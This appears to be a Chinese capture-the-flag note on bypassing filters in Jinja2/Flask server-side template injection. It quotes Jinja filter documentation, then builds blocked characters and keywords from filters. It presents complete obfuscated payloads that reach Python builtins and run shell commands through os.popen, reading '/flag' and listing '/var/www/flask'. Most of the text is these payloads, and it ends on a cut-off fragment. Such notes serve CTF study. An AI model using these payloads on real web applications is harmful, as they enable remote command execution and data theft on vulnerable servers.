my_open = open('g:/2.txt', 'w') for i in []: my_open.write(i+"\n")
#在文件中写入一个字符串 my_open.close()
看看有没有可以用的方法或者
用内部Filters测试
join
join(value, d=’’, attribute=None)
Return a string which is the concatenation of the strings in the sequence. The separator between elements is an empty string per default, you can define it with the optional parameter:
{{ [1, 2, 3]|join('|') }} -> 1|2|3
{{ [1, 2, 3]|join }} -> 123
It is also possible to join certain attributes of an object:
Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is applied to the next.
For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the output (title(striptags(name))).
Filters that accept arguments have parentheses around the arguments, just like a function call. For example: {{ listx|join(', ') }} will join a list with commas (str.join(', ', listx)).
Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up.
a|attr(b)
a.b
lipsum
lipsum(n=5, html=True, min=20, max=100)
Generates some lorem ipsum for the template. By default, five paragraphs of HTML are generated with each paragraph between 20 and 100 words. If html is False, regular text is returned. This is useful to generate simple contents for layout testing.
# 首先构造出所需的数字: {% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字 {% set one = (zero**zero)|int %} # 1 {% set two = (zero-one-one)|abs %} # 2 {% set four = (two*two)|int %} # 4 {% set five = (two*two*two)-one-one-one %} # 5 {% set three = five-one-one %} # 3 {% set nine = (two*two*two*two-five-one-one) %} # 9 {% set seven = (zero-one-one-five)|abs %} # 7
# 构造出所需的各种字符与字符串: {% set space = self|string|min %} # 空格 {% set point = self|float|string|min %} # .
{% set c = dict(c=aa)|reverse|first %} # 字符 c {% set bfh = self|string|urlencode|first %} # 百分号 % {% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接 {% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 / {% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 ' {% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _ {% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 ) {% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (
{% set but = dict(buil=aa,tins=dd)|join %} # builtins {% set imp = dict(imp=aa,ort=dd)|join %} # import {% set pon = dict(po=aa,pen=dd)|join %} # popen {% set so = dict(o=aa,s=dd)|join %} # os {% set ca = dict(ca=aa,t=dd)|join %} # cat {% set flg = dict(fl=aa,ag=dd)|join %} # flag {% set ev = dict(ev=aa,al=dd)|join %} # eval {% set red = dict(re=aa,ad=dd)|join %} # read {% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__
{% set ini = dict(ini=aa,t=bb)|join %} # init {% set glo = dict(glo=aa,bals=bb)|join %} # globals {% set itm = dict(ite=aa,ms=bb)|join %} # items
# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): {% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: {% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals {% if f == bul %} {% for a,b in (v|attr(itm))() %} # builtins {% if a == ev %} # eval {{b(pld)}} # eval("__import__('os').popen('cat /flag').read()") {% endif %} {% endfor %} {% endif %} {% endfor %}
# 最后的payload如下: {% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
feng师傅 {% set id=dict(ind=a,ex=a)|join%} {% set pp=dict(po=a,p=a)|join%} {% set ls=dict(ls=a)|join%} {% set ppe=dict(po=a,pen=a)|join%} {% set gt=dict(ge=a,t=a)|join%} {% set cr=dict(ch=a,r=a)|join%} {% set nn=dict(n=a)|join%} {% set tt=dict(t=a)|join%} {% set ff=dict(f=a)|join%} {% set ooqq=dict(o=a,s=a)|join %} {% set rd=dict(re=a,ad=a)|join%} {% set five=(lipsum|string|list)|attr(id)(tt) %} # 5 {% set three=(lipsum|string|list)|attr(id)(nn) %} # 3 {% set one=(lipsum|string|list)|attr(id)(ff) %} # 1 {% set shiba=five*five-three-three-one %} # 18 {% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %} {% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %} # _ {% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %} # __builtins__
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%} # / {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %} # ls /var/www/flask
feng师傅{% set id=dict(ind=a,ex=a)|join%}{% set pp=dict(po=a,p=a)|join%}{% set ls=dict(ls=a)|join%}{% set ppe=dict(po=a,pen=a)|join%}{% set gt=dict(ge=a,t=a)|join%}{% set cr=dict(ch=a,r=a)|join%}{% set nn=dict(n=a)|join%}{% set tt=dict(t=a)|join%}{% set ff=dict(f=a)|join%}{% set ooqq=dict(o=a,s=a)|join %}{% set rd=dict(re=a,ad=a)|join%}{% set five=(lipsum|string|list)|attr(id)(tt) %}{% set three=(lipsum|string|list)|attr(id)(nn) %}{% set one=(lipsum|string|list)|attr(id)(ff) %}{% set shiba=five*five-three-three-one %}{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}{% set space=chcr(three*three*five-five-five-three) %}{% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}感觉feng师傅这个比较像预期解
雪殇师傅
雪殇师傅 {% set dot = g|lower|list|sort|join|trim|replace(sq,emp)|list|first %} # '
